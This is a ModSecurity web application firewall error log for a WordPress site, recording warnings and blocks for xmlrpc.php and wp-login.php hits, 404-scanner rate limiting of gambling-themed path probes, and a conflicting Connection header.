[Mon Mar 16 19:49:12.064704 2026] [:error] [pid 39154:tid 39179] [client 196.75.116.74:60069] [client 196.75.116.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.116.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abfuOBgq1_qjm7J1LqsgsgAAAVY"]
[Mon Mar 16 19:50:23.032349 2026] [:error] [pid 35929:tid 35950] [client 196.75.116.74:60447] [client 196.75.116.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.75.116.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abfuf9W47dGpmA63hwSKAgAAANM"]
[Mon Mar 16 19:54:35.458484 2026] [:error] [pid 36198:tid 36214] [client 64.89.163.113:65289] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abfve-lL1GNckmsdWlMz8gAAAQ0"]
[Mon Mar 16 19:54:35.968214 2026] [:error] [pid 35838:tid 35854] [client 64.89.163.113:52877] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abfvexroTe-x3JLtmo6WcgAAAAw"]
[Mon Mar 16 19:54:36.553550 2026] [:error] [pid 1871:tid 1887] [client 64.89.163.113:50281] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abfvfDinTnZ8uiUPekE68wAAAY4"]
[Mon Mar 16 19:54:37.070512 2026] [:error] [pid 1871:tid 1895] [client 64.89.163.113:53030] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abfvfTinTnZ8uiUPekE7LwAAAZY"]
[Mon Mar 16 19:54:37.685912 2026] [:error] [pid 39154:tid 39178] [client 64.89.163.113:64038] [client 64.89.163.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abfvfRgq1_qjm7J1LqsioQAAAVU"]
[Mon Mar 16 19:57:52.010775 2026] [:error] [pid 1871:tid 1888] [client 103.216.118.192:45244] [client 103.216.118.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.118.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abfwQDinTnZ8uiUPekE8fAAAAY8"]
[Mon Mar 16 19:57:53.824137 2026] [:error] [pid 1871:tid 1884] [client 103.216.118.192:45244] [client 103.216.118.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.216.118.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abfwQTinTnZ8uiUPekE8hgAAAYs"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 19:57:55.826178 2026] [:error] [pid 35839:tid 35870] [client 68.178.171.4:54720] [client 68.178.171.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.171.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abfwQ6xyv6h8-aZrncsJtAAAAEA"]
[Mon Mar 16 19:57:57.239606 2026] [:error] [pid 35839:tid 35878] [client 68.178.171.4:54720] [client 68.178.171.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.171.4, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abfwRaxyv6h8-aZrncsJtgAAAEg"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 20:24:55.286119 2026] [:error] [pid 35838:tid 35845] [client 193.42.111.139:51124] [client 193.42.111.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.111.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abf2lxroTe-x3JLtmo6nxgAAAAM"]
[Mon Mar 16 20:24:56.919612 2026] [:error] [pid 35838:tid 35854] [client 193.42.111.139:51124] [client 193.42.111.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.42.111.139, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abf2mBroTe-x3JLtmo6nxwAAAAw"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 20:56:22.056735 2026] [:error] [pid 39154:tid 39168] [client 101.32.52.164:56176] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "abf99hgq1_qjm7J1LqsyrQAAAUs"]
[Mon Mar 16 21:51:16.527181 2026] [:error] [pid 35840:tid 35901] [client 179.43.103.242:59162] [client 179.43.103.242] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.43.103.242, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "abgK1EJFzfEsmtPx-M0bKAAAAIQ"]
[Mon Mar 16 22:41:01.280118 2026] [:error] [pid 36198:tid 36225] [client 173.231.249.1:43212] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgWfelL1GNckmsdWlNkhAAAARg"]
[Mon Mar 16 22:41:03.943390 2026] [:error] [pid 36198:tid 36214] [client 173.231.249.1:44346] [client 173.231.249.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.231.249.1, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abgWf-lL1GNckmsdWlNkiAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Mon Mar 16 22:44:55.688697 2026] [:error] [pid 36198:tid 36212] [client 20.120.91.203:10364] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "abgXZ-lL1GNckmsdWlNllQAAAQs"]
[Mon Mar 16 22:45:00.785507 2026] [:error] [pid 35839:tid 35889] [client 20.120.91.203:49820] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "abgXbKxyv6h8-aZrncsgXwAAAFM"]
[Mon Mar 16 22:45:02.213374 2026] [:error] [pid 36198:tid 36210] [client 20.120.91.203:37062] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "abgXbulL1GNckmsdWlNlmgAAAQk"]
[Mon Mar 16 22:45:09.770907 2026] [:error] [pid 36198:tid 36216] [client 20.120.91.203:43085] [client 20.120.91.203] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "abgXdelL1GNckmsdWlNloAAAAQ8"]
[Mon Mar 16 23:28:37.567639 2026] [:error] [pid 39154:tid 39176] [client 136.248.244.164:35796] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abghpRgq1_qjm7J1LqtR1AAAAVM"]
[Mon Mar 16 23:28:39.591716 2026] [:error] [pid 35838:tid 35842] [client 136.248.244.164:35470] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "abghpxroTe-x3JLtmo7nQgAAAAA"]
[Mon Mar 16 23:28:41.620711 2026] [:error] [pid 39154:tid 39179] [client 136.248.244.164:35484] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "abghqRgq1_qjm7J1LqtR1QAAAVY"]
[Mon Mar 16 23:28:43.603884 2026] [:error] [pid 1871:tid 1896] [client 136.248.244.164:35486] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "abghqzinTnZ8uiUPekGg2QAAAZc"]
[Mon Mar 16 23:28:45.790852 2026] [:error] [pid 35929:tid 35953] [client 136.248.244.164:40310] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "abghrdW47dGpmA63hwTLGAAAANY"]
[Mon Mar 16 23:28:47.934073 2026] [:error] [pid 1871:tid 1890] [client 136.248.244.164:40312] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "abghrzinTnZ8uiUPekGg7QAAAZE"]
[Mon Mar 16 23:28:50.120567 2026] [:error] [pid 35929:tid 35931] [client 136.248.244.164:40326] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "abghstW47dGpmA63hwTLKQAAAMA"]
[Mon Mar 16 23:28:52.150052 2026] [:error] [pid 1871:tid 1882] [client 136.248.244.164:40338] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "abghtDinTnZ8uiUPekGg9AAAAYk"]
[Mon Mar 16 23:28:54.154250 2026] [:error] [pid 1871:tid 1897] [client 136.248.244.164:40344] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "abghtjinTnZ8uiUPekGg9gAAAZg"]
[Mon Mar 16 23:28:56.337129 2026] [:error] [pid 35929:tid 35951] [client 136.248.244.164:49828] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "abghuNW47dGpmA63hwTLMwAAANQ"]
[Mon Mar 16 23:28:58.358356 2026] [:error] [pid 35840:tid 35919] [client 136.248.244.164:49834] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "abghukJFzfEsmtPx-M0p3AAAAJY"]
[Mon Mar 16 23:29:00.531989 2026] [:error] [pid 1871:tid 1895] [client 136.248.244.164:49850] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "abghvDinTnZ8uiUPekGhGwAAAZY"]
[Mon Mar 16 23:29:02.544808 2026] [:error] [pid 35839:tid 35881] [client 136.248.244.164:49852] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "abghvqxyv6h8-aZrncsllgAAAEs"]
[Mon Mar 16 23:29:04.558303 2026] [:error] [pid 39154:tid 39180] [client 136.248.244.164:49866] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "abghwBgq1_qjm7J1LqtR4QAAAVc"]
[Mon Mar 16 23:29:06.452062 2026] [:error] [pid 36198:tid 36221] [client 136.248.244.164:47932] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "abghwulL1GNckmsdWlNx2AAAARQ"]
[Mon Mar 16 23:29:08.466996 2026] [:error] [pid 35929:tid 35947] [client 136.248.244.164:47946] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "abghxNW47dGpmA63hwTLQAAAANA"]
[Mon Mar 16 23:29:10.470140 2026] [:error] [pid 36198:tid 36223] [client 136.248.244.164:47962] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "abghxulL1GNckmsdWlNx2wAAARY"]
[Mon Mar 16 23:29:12.631401 2026] [:error] [pid 39154:tid 39168] [client 136.248.244.164:47972] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "abghyBgq1_qjm7J1LqtR6AAAAUs"]
[Mon Mar 16 23:29:14.824851 2026] [:error] [pid 35929:tid 35951] [client 136.248.244.164:47988] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "abghytW47dGpmA63hwTLTgAAANQ"]
[Mon Mar 16 23:29:16.974599 2026] [:error] [pid 35838:tid 35847] [client 136.248.244.164:55488] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "abghzBroTe-x3JLtmo7naAAAAAU"]
[Mon Mar 16 23:29:19.135162 2026] [:error] [pid 35838:tid 35859] [client 136.248.244.164:55500] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "abghzxroTe-x3JLtmo7nagAAABE"]
[Mon Mar 16 23:29:21.338185 2026] [:error] [pid 1871:tid 1892] [client 136.248.244.164:55512] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "abgh0TinTnZ8uiUPekGhOQAAAZM"]
[Mon Mar 16 23:29:23.524362 2026] [:error] [pid 1871:tid 1874] [client 136.248.244.164:55528] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "abgh0zinTnZ8uiUPekGhQwAAAYE"]
[Mon Mar 16 23:29:25.671158 2026] [:error] [pid 1871:tid 1883] [client 136.248.244.164:52030] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "abgh1TinTnZ8uiUPekGhSQAAAYo"]
[Mon Mar 16 23:29:27.852671 2026] [:error] [pid 35839:tid 35882] [client 136.248.244.164:52034] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "abgh16xyv6h8-aZrncslowAAAEw"]
[Mon Mar 16 23:29:30.015369 2026] [:error] [pid 36198:tid 36203] [client 136.248.244.164:52036] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "abgh2ulL1GNckmsdWlNx_wAAAQI"]
[Mon Mar 16 23:29:32.160292 2026] [:error] [pid 35838:tid 35858] [client 136.248.244.164:52040] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "abgh3BroTe-x3JLtmo7neQAAABA"]
[Mon Mar 16 23:30:09.493836 2026] [:error] [pid 35840:tid 35898] [client 136.248.244.164:52054] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "abgiAUJFzfEsmtPx-M0qEQAAAIE"]
[Mon Mar 16 23:30:11.679274 2026] [:error] [pid 1871:tid 1888] [client 136.248.244.164:57836] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "abgiAzinTnZ8uiUPekGhnAAAAY8"]
[Mon Mar 16 23:30:13.876737 2026] [:error] [pid 1871:tid 1877] [client 136.248.244.164:57852] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "abgiBTinTnZ8uiUPekGhoAAAAYQ"]
[Mon Mar 16 23:30:16.941330 2026] [:error] [pid 36198:tid 36223] [client 136.248.244.164:54336] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "abgiCOlL1GNckmsdWlNyLwAAARY"]
[Mon Mar 16 23:30:19.113722 2026] [:error] [pid 1871:tid 1890] [client 136.248.244.164:54346] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "abgiCzinTnZ8uiUPekGhsAAAAZE"]
[Mon Mar 16 23:30:21.262300 2026] [:error] [pid 35839:tid 35893] [client 136.248.244.164:54348] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abgiDaxyv6h8-aZrncsl5AAAAFc"]
[Mon Mar 16 23:30:23.450837 2026] [:error] [pid 35929:tid 35954] [client 136.248.244.164:54352] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "abgiD9W47dGpmA63hwTLxwAAANc"]
[Mon Mar 16 23:30:25.603396 2026] [:error] [pid 35838:tid 35859] [client 136.248.244.164:43618] [client 136.248.244.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abgiERroTe-x3JLtmo7nsAAAABE"]
